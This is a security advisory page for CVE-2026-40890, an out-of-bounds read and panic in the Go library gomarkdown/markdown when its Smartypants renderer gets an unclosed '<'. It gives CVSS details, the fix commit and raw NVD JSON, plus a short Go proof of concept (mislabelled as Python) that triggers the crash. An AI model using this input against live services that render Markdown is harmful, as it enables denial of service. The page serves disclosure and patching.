Security Vulnerability Report
中文
CVE-2026-40890 CVSS 7.5 HIGH

CVE-2026-40890

Published: 2026-04-21 20:17:03
Last Modified: 2026-04-27 15:07:26

Description

The package `github.com/gomarkdown/markdown` is a Go library for parsing Markdown text and rendering as HTML. Processing a malformed input containing a < character that is not followed by a > character anywhere in the remaining text with a SmartypantsRenderer will lead to Out of Bounds read or a panic. This vulnerability is fixed with commit 759bbc3e32073c3bc4e25969c132fc520eda2778.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gomarkdown:markdown:*:*:*:*:*:go:*:* - VULNERABLE
github.com/gomarkdown/markdown < Commit 759bbc3e32073c3bc4e25969c132fc520eda2778

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
package main import ( "fmt" "github.com/gomarkdown/markdown" "github.com/gomarkdown/markdown/html" ) func main() { // PoC: Malformed input containing '<' without a closing '>' maliciousInput := "This is a test <" // Create renderer with Smartypants enabled opts := html.RendererOptions{ Flags: html.CommonFlags | html.Smartypants, } renderer := html.NewRenderer(opts) // Trigger the vulnerability: Out of Bounds read or Panic output := markdown.ToHTML([]byte(maliciousInput), nil, renderer) fmt.Println(string(output)) }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40890", "sourceIdentifier": "[email protected]", "published": "2026-04-21T20:17:02.810", "lastModified": "2026-04-27T15:07:26.230", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The package `github.com/gomarkdown/markdown` is a Go library for parsing Markdown text and rendering as HTML. Processing a malformed input containing a < character that is not followed by a > character anywhere in the remaining text with a SmartypantsRenderer will lead to Out of Bounds read or a panic. This vulnerability is fixed with commit 759bbc3e32073c3bc4e25969c132fc520eda2778."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gomarkdown:markdown:*:*:*:*:*:go:*:*", "versionEndExcluding": "2026-04-10", "matchCriteriaId": "82C227BF-A9A1-4CD5-9664-916EAAB6DDAA"}]}]}], "references": [{"url": "https://github.com/gomarkdown/markdown/commit/759bbc3e32073c3bc4e25969c132fc520eda2778", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/gomarkdown/markdown/security/advisories/GHSA-77fj-vx54-gvh7", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/gomarkdown/markdown/security/advisories/GHSA-77fj-vx54-gvh7", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}